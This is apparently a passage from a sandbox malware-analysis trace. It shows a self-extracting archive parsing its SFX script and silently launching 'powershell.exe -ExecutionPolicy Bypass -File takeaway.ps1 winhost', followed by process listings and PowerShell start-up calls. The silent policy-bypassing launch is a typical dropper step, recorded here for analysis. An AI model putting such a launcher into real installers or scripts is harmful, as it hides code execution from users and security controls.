lpString2="Text", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0059.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0059.169] ExpandEnvironmentStringsW (in: lpSrc="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost") returned 0x55 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0059.170] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="1") returned 0x2 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=";The comment below contains SFX script commands", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0059.170] ExpandEnvironmentStringsW (in: lpSrc="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="powershell.exe -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost") returned 0x55 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0059.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0059.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".exe", cchCount1=-1, lpString2=".inf", cchCount2=-1) returned 1 [0059.171] GetFileAttributesW (lpFileName="powershell.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\powershell.exe")) returned 0xffffffff [0059.171] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x6ccb64 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0059.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Desktop\\powershell.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\powershell.exe")) returned 0xffffffff [0059.171] GetProcAddress (hModule=0x75a80000, lpProcName="ShellExecuteExW") returned 0x75be4730 [0059.171] ShellExecuteExW (in: pExecInfo=0x6ceba4*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="powershell.exe", lpParameters="-ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x6ceba4*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="powershell.exe", lpParameters="-ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x4cc)) returned 1 [0065.095] CloseHandle (hObject=0x4cc) returned 1 [0065.095] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".exe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 2 [0065.095] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x6cdbd4, nSize=0x1000 | out: lpDst="1") returned 0x2 [0065.095] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0065.095] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0065.095] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0065.095] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0065.095] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0065.095] GetDlgItem (hDlg=0x201cc, nIDDlgItem=1) returned 0x202c2 [0065.095] GetProcAddress (hModule=0x77260000, lpProcName="EnableWindow") returned 0x77280a60 [0065.095] EnableWindow (hWnd=0x202c2, bEnable=1) returned 0 [0065.095] GetProcAddress (hModule=0x77260000, lpProcName="EndDialog") returned 0x77269080 [0065.095] EndDialog (hDlg=0x201cc, nResult=0x1) returned 1 [0065.182] IUnknown:AddRef (This=0x756fd000) returned 0x1 [0065.182] GetProcAddress (hModule=0x76ea0000, lpProcName="OleUninitialize") returned 0x76ed4de0 [0065.182] OleUninitialize () [0065.182] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa453d0 | out: hHeap=0xa10000) returned 1 [0065.182] GetProcAddress (hModule=0x747e0000, lpProcName="DeleteObject") returned 0x747e52b0 [0065.183] DeleteObject (ho=0x1501d9) returned 0 [0065.183] GetProcAddress (hModule=0x747e0000, lpProcName="DeleteObject") returned 0x747e52b0 [0065.183] DeleteObject (ho=0x36050514) returned 1 [0065.183] OleUninitialize () [0066.319] GetModuleHandleW (lpModuleName=0x0) returned 0x860000 [0066.319] GetModuleHandleW (lpModuleName=0x0) returned 0x860000 [0066.319] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa4c528 | out: hHeap=0xa10000) returned 1 [0066.319] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa3e4d0 | out: hHeap=0xa10000) returned 1 [0066.319] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa12db8 | out: hHeap=0xa10000) returned 1 [0066.320] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa185a0 | out: hHeap=0xa10000) returned 1 [0066.320] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74250000 [0066.320] GetProcAddress (hModule=0x74250000, lpProcName="GetCurrentPackageId") returned 0x74253510 [0066.320] GetCurrentPackageId () returned 0x3d54 [0066.320] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x6ff9d4 | out: phModule=0x6ff9d4) returned 0 [0066.320] ExitProcess (uExitCode=0x0) [0066.320] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa13ea8 | out: hHeap=0xa10000) returned 1 Thread: id = 2 os_tid = 0xdc Thread: id = 3 os_tid = 0x10e0 Thread: id = 4 os_tid = 0x10c0 [0059.054] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0059.071] SetEvent (hEvent=0x290) returned 1 [0059.071] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 5 os_tid = 0x10c4 [0059.055] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0059.070] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0x10c8 [0059.055] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0059.068] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 7 os_tid = 0x10cc [0059.055] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0059.100] SetEvent (hEvent=0x290) returned 1 [0059.100] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 8 os_tid = 0x10d0 [0059.056] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0059.099] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 9 os_tid = 0x10d4 [0059.056] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0059.099] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 10 os_tid = 0x10d8 [0059.056] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) returned 0x0 [0059.099] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 11 os_tid = 0xe80 [0059.056] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 12 os_tid = 0xe84 [0059.057] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 13 os_tid = 0xe48 [0059.057] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 14 os_tid = 0xcd8 [0059.057] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 15 os_tid = 0xa1c [0059.057] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 16 os_tid = 0x12b0 [0059.080] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 17 os_tid = 0x12ac [0059.080] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 18 os_tid = 0x78c [0059.081] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 19 os_tid = 0xd1c [0059.081] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 20 os_tid = 0xf64 [0059.082] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 21 os_tid = 0xf80 [0059.082] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 22 os_tid = 0xf7c [0059.082] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 23 os_tid = 0xf88 [0059.083] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 24 os_tid = 0xfa0 [0059.083] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 25 os_tid = 0xfb4 [0059.083] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 26 os_tid = 0xfc8 [0059.083] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 27 os_tid = 0xfdc [0059.083] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 28 os_tid = 0xff0 [0059.084] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 29 os_tid = 0x61c [0059.084] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 30 os_tid = 0x528 [0059.084] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 31 os_tid = 0xc70 [0059.085] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 32 os_tid = 0x4d8 [0059.085] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 33 os_tid = 0x370 [0059.085] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 34 os_tid = 0x4f4 [0059.085] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 35 os_tid = 0x518 [0059.086] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 36 os_tid = 0x6c0 Thread: id = 37 os_tid = 0x58 Thread: id = 38 os_tid = 0xb00 Thread: id = 39 os_tid = 0xd88 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7551d000" os_pid = "0x584" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x23c" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:00010264" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 40 os_tid = 0x840 Thread: id = 41 os_tid = 0x828 Thread: id = 42 os_tid = 0x7f8 Thread: id = 43 os_tid = 0x7f4 Thread: id = 44 os_tid = 0x760 Thread: id = 45 os_tid = 0x67c Thread: id = 46 os_tid = 0x678 Thread: id = 47 os_tid = 0x600 Thread: id = 48 os_tid = 0x5f8 Thread: id = 49 os_tid = 0x5e0 Thread: id = 50 os_tid = 0x588 Process: id = "3" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0xef77000" os_pid = "0x190" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x13dc" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -noLogo -noProfile -File takeaway.ps1 winhost" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0x84 [0069.838] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0069.840] RoInitialize () returned 0x1 [0069.840] RoUninitialize () returned 0x0 [0070.463] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0070.465] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0072.001] SysStringByteLen (bstr="-ExecutionPolicy") returned 0x20 [0072.001] SysStringByteLen (bstr="-ExecutionPolicy") returned 0x20 [0072.002] SysStringByteLen (bstr="Bypass") returned 0xc [0072.002] SysStringByteLen (bstr="Bypass") returned 0xc [0072.002] SysStringByteLen (bstr="-noLogo") returned 0xe [0072.002] SysStringByteLen (bstr="-noLogo") returned 0xe [0072.002] SysStringByteLen (bstr="-noProfile") returned 0x14 [0072.002] SysStringByteLen (bstr="-noProfile") returned 0x14 [0072.002] SysStringByteLen (bstr="-File") returned 0xa [0072.002] SysStringByteLen (bstr="-File") returned 0xa [0072.002] SysStringByteLen (bstr="takeaway.ps1") returned 0x18 [0072.002] SysStringByteLen (bstr="takeaway.ps1") returned 0x18 [0072.002] SysStringByteLen (bstr="winhost") returned 0xe [0072.002] SysStringByteLen (bstr="winhost") returned 0xe [0073.394] WindowsCreateStringReference () returned 0x0 [0073.394] RoGetActivationFactory () returned 0x0 [0073.395] QueryInterface () returned 0x0 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0073.396] QueryInterface () returned 0x0 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0073.396] Release () returned 0x4 [0073.396] CoGetContextToken (in: pToken=0x2bfd660 | out: pToken=0x2bfd660) returned 0x0 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0073.396] CoGetContextToken (in: pToken=0x2bfd970 | out: pToken=0x2bfd970) returned 0x0 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0073.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0073.396] WindowsDeleteString () returned 0x0 [0073.396] Release () returned 0x2 [0073.396] CoGetContextToken (in: pToken=0x2bfe0e8 | out: pToken=0x2bfe0e8) returned 0x0 [0073.397] CoGetContextToken (in: pToken=0x2bfe048 | out: pToken=0x2bfe048) returned 0x0 [0073.397] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0073.397] AddRef () returned 0x4 [0073.397] Release () returned 0x3 [0073.412] IIDFromString (in: lpsz="{410B7711-FF3B-477F-9C9A-D2EFDA302DC3}", lpiid=0x2bfd780 | out: lpiid=0x2bfd780) returned 0x0 [0073.412] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0074.852] GenericStreamBase::Write () returned 0x0 [0074.852] GenericStreamBase::Write () returned 0x0 [0074.853] CoCreateGuid (in: pguid=0x733e47a8 | out: pguid=0x733e47a8*(Data1=0x6389ed44, Data2=0xf488, Data3=0x40bf, Data4=([0]=0x84, [1]=0x2c, [2]=0xb7, [3]=0xd6, [4]=0x77, [5]=0x11, [6]=0x68, [7]=0xa7))) returned 0x0 [0074.853] GenericStreamBase::Write () returned 0x0 [0074.856] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0074.856] CExtensionCatalog::AddRef () returned 0x3 [0074.856] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0074.856] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0074.856] Release () returned 0x3 [0074.856] CoGetContextToken (in: pToken=0x2bfd538 | out: pToken=0x2bfd538) returned 0x0 [0074.856] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0074.868] WindowsCreateString () returned 0x0 [0074.868] CExtensionCatalog::AddRef () returned 0x4 [0074.868] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0074.869] 